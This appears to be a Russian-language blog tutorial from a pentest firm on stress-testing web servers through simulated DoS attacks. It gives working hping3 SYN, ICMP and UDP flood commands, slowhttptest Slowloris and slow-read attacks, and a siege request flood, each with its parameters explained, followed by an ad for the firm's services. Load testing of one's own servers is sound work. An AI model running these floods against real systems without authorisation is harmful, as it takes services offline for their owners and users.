DoS и DDoS атаки на Web сервера. Стресс-тестирование

Сегодня мы рассмотрим варианты нагрузочного стресс-тестирования серверов и имитацию DoS (или DDoS, если тестировать с нескольких серверов) для Web серверов. Для чего это может быть полезно: для проверки собственных серверов и хостинг-провайдеров на данные типы уязвимостей.
DoS атаки будем использовать L3/4 и L7 уровней OSI.

dstIP – это IP адрес или FQDN имя атакуемой машины.

Первой будет утилита hping версии 3.
Начнем с атаки на превышение максимального количества полуоткрытых сессий (SYN-flood):

hping3 --flood -S -p 80 192.168.232.7

используемые параметры:
–flood – отправлять столько пакетов, сколько возможно.
-S – использовать SYN пакеты
-p 80 – пакеты отправляются на порт 80 (HTTP).

Вторым типом атаки будет ICMP-flood. Его лучше использовать вместе с большим размером пакетов, чтобы попробовать исчерпать входящий канал атакуемого сервера.

hping3 --flood --icmp -d 1000 dstIP

используемые параметры:
–icmp – используем пакеты ICMP
-d 1000 – указываем размер пакета

Теперь попробуем UDP-flood. Эта атака так же насыщает полосу пропускания.

hping3 --flood --udp -s 53 --keep -p 68 192.168.232.36

используемые параметры:
–udp – используем UDP
-s 53 – отправляем с порта 53
–keep – фиксируем порт отправления, иначе он будет увеличиваться на 1 для каждого следующего пакета
-p 68 – отправляем пакеты на порт 68

Теперь перейдем к атакам непосредственно на сам Web сервер.
Первой будет атака на медленные подключения. Смысл данной атаки в том, что у любого Web сервера есть лимит на количество одновременных подключений, но когда мы подключаемся и очень медленно запрашиваем страницу – соединение не сбрасывается, а количество параллельных подключений у сервера ограниченно.

slowhttptest -c 1000 -H -i 20 -r 200 -t GET -u http://dstIP -x 24 -p 3

используемые параметры:
-c – общее суммарное количество подключений
-i – пауза между сессиями для загрузкой части страницы (в рамках одного подключения)
-r – количество подключений в секунду
-t GET – использовать GET запросы (так же можно POST)
-uURL. Поддерживает HTTP и HTTPS ссылки
-x – количество загружаемых байт из части страницы за одну сессию (в рамках одного подключения)
-p – время ожидания при проверке подключения. Если ответ от сервера не получен за это время, то сервер считается недоступным
-H – атака slow headers a.k.a. Slowloris
Так же доступные типы атак:
-B – атака slow body a.k.a R-U-Dead-Yet
-R – атака range attack a.k.a Apache killer
-X – атака Slow Read

И последний тип рассматриваемых атак. Утилита siege, которая просто запрашивает, в огромное количество потоков, страницы сайта, после чего происходит исчерпание либо ресурсов сервера (если запрашиваем тяжелые станицы) либо ресурсов исходящего канала (если запрашиваем тяжелые файлы).

siege -i -c 2000 https://dstIP/page

используемые параметры:
-i – симулировать обычного пользователя
-c – количество подключений
page – запрашиваемая страницы. тип атаки зависит от выбранной страницы.
Так же можно данной утилите передать флагом -R файл с перечислением страниц

Вот мы и рассмотрели набор для стресс-тестирования Web серверов. Более подробные параметры каждой из утилит можно посмотреть в Man’е.

Заказать Аудит Безопасности или Пентест Вашей IT-инфраструктуры

Быть уверенным в своей IT-инфраструктуре – это быть уверенным в завтрашнем дне.

Для того, чтобы сделать заказ:

Заполните форму обратной связи и мы обязательно с вам свяжемся:
Форма обратной связи
Позвоните нам по телефону:
+7(909)952-44-33
Напишите нам на электронную почту:
order@blackdiver.net
Напишите нам в Telegram:
Telegram
Другие способы связи Вы сможете найти в разделе Контакты.

Одна мысль про “DoS и DDoS атаки на Web сервера. Стресс-тестирование”

  1. Респект, порушил свои серваки. Slowhttp не пережили. Спасибо за инфу

Нажмите, чтобы отменить ответ.

Please Login to Comment.